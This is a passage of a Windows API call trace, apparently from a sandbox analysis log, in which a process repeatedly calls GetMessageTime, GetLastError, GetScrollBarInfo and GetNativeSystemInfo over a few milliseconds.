GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.358] GetMessageTime () returned 0 [0101.358] GetLastError () returned 0x578 [0101.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.358] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.359] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.359] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.359] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.359] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.359] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.359] GetMessageTime () returned 0 [0101.359] GetLastError () returned 0x578 [0101.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.360] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.360] GetMessageTime () returned 0 [0101.360] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.361] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.361] GetMessageTime () returned 0 [0101.361] GetLastError () returned 0x578 [0101.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.362] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.362] GetMessageTime () returned 0 [0101.362] GetLastError () returned 0x578 [0101.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.363] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.363] GetMessageTime () returned 0 [0101.363] GetLastError () returned 0x578 [0101.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.364] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.364] GetMessageTime () returned 0 [0101.364] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 